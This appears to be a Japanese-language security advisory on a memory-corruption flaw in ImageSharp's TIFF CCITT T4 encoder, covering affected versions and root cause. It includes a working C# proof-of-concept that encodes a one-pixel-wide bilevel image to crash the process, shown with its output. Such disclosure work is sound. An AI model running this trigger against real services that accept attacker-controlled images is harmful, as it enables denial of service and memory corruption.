ImageSharp: TIFF CCITT T4 エンコーダは、圧縮された出力バッファの範囲を超えて書き込みを行う可能性がある
### 概要
ImageSharp の TIFF CCITT Group 3 (T4) エンコーダは、狭い 1ビットの画像をエンコードする際に、割り当てられた圧縮データバッファの範囲を超えて書き込みを行う可能性があります。 このような書き込みは、プロセスメモリを破損させ、プロセスを終了させる可能性があります。
このレポートは、T4 `CcittGroup3Fax` エンコーダの機能に関するものです。 以前の、関連性のない ICC コンテンツに置き換わります。
### 影響を受けるパッケージとバージョン
- パッケージ: `SixLabors.ImageSharp` (NuGet)
- 影響を受ける範囲: `>= 2.0.0, <= 4.1.1`
- コミット `0815358f9202a78bc7f3b83e19282dc3654b500f` は、バージョン **v4.1.1** に対応します。
T4 エンコーダとそのサイズが小さすぎるバッファの計算は、最初に v2.0.0 で導入されました。 狭い画像の脆弱性は、公開されている v2.0.0 および v4.1.1 で発生しますが、同じ高さの 64 ピクセルの画像では問題が発生しません。 v4.1.1 までのすべてのリリースで、脆弱なメモリ割り当てと、チェックされないビット書き込みの構造が維持されています。
### 前提条件と影響
影響を受ける機能は、アプリケーションが `TiffCompression.CcittGroup3Fax` を使用して 1ビットの画像データをエンコードする場合に実行されます。 これは、アプリケーションが明示的に `TiffEncoder.BitsPerPixel = Bit1` および `TiffEncoder.Compression = CcittGroup3Fax` を設定した場合に発生する可能性があります。 また、アプリケーションが TIFF ファイルをデコードし、デフォルトの `TiffEncoder` を使用して再エンコードする場合にも発生する可能性があります。これは、ImageSharp が TIFF フレームのメタデータ(圧縮やビット深度を含む)を保持するためです。
`TiffCompressorFactory` は、`CcittGroup3Fax` のために `T4BitCompressor` を作成します。 `TiffCcittCompressor.Initialize` は `Width * rowsPerStrip` バイトを割り当てますが、変更されていない T4 は、行データよりも前に 12ビットの EOL を書き込み、さらに各行に 12ビットの EOL を追加で書き込みます。 `WriteCode` は `BitWriterUtils.WriteBit` および `WriteZeroBit` を呼び出しますが、これらはどちらも `Unsafe.Add` を使用しており、容量のチェックが行われていません。 そのため、エンコードされたビットストリームが割り当てられた範囲を超える可能性があります。
1ピクセル幅、2000行の交互のバイレベル画像が、T4圧縮中に致命的な`System.AccessViolationException`を引き起こしました。これは、このエンコーディング処理を攻撃者が制御する入力に公開するアプリケーションにとって、メモリ破壊および可用性の問題です。
### テスト環境
- パッケージバイナリ: NuGet `SixLabors.ImageSharp` **4.1.1**
- ターゲットフレームワーク: `net8.0`
- 実行環境: .NET 8.0.30; SDK 8.0.424
- オペレーティングシステム: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker
現在、この脆弱性が悪用されている事例は報告されていません。
### 再現方法
`net8.0`プロジェクトで、公開されている`SixLabors.ImageSharp` 4.1.1バイナリを参照し、以下のコードを`Program.cs`として保存します。`dotnet run -- exploit 2000`を実行して脆弱性を引き起こし、`dotnet run -- control 2000`を実行して制御を行います。
```csharp
using System;
using System.IO;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
using SixLabors.ImageSharp.PixelFormats;
string mode = args.Length > 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;
Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image<L8>(width, height);
for (int y = 0; y < image.Height; y++)
for (int x = 0; x < image.Width; x++)
image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;
using var output = new MemoryStream();
image.Save(output, new TiffEncoder());
Console.WriteLine($"Encoded OK: {output.Length} bytes");
```
公開されている4.1.1パッケージを使用した場合、以下のエラーが発生しました。
```text
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
at ...TiffCcittCompressor.GetWhiteTermCode(...)
at ...T4BitCompressor.CompressStrip(...)
```
幅64ピクセル、高さ2000行のコントロールが、同じGroup 3メタデータを使用して正常に完了しました。
```text
mode=control width=64 height=2000
Encoded OK: 76230 bytes
```
直接的な公開設定ファイルでも、以下の設定で問題が発生します。
```csharp
new TiffEncoder
{
BitsPerPixel = TiffBitsPerPixel.Bit1,
Compression = TiffCompression.CcittGroup3Fax
};
```
影響を受けるパッケージ:
- nuget SixLabors.ImageSharp: 影響あり。バージョン2.0.0以上、3.2.0未満。3.2.0で修正済み。
- nuget SixLabors.ImageSharp: 影響あり。バージョン4.0.0以上、4.1.2未満。4.1.2で修正済み。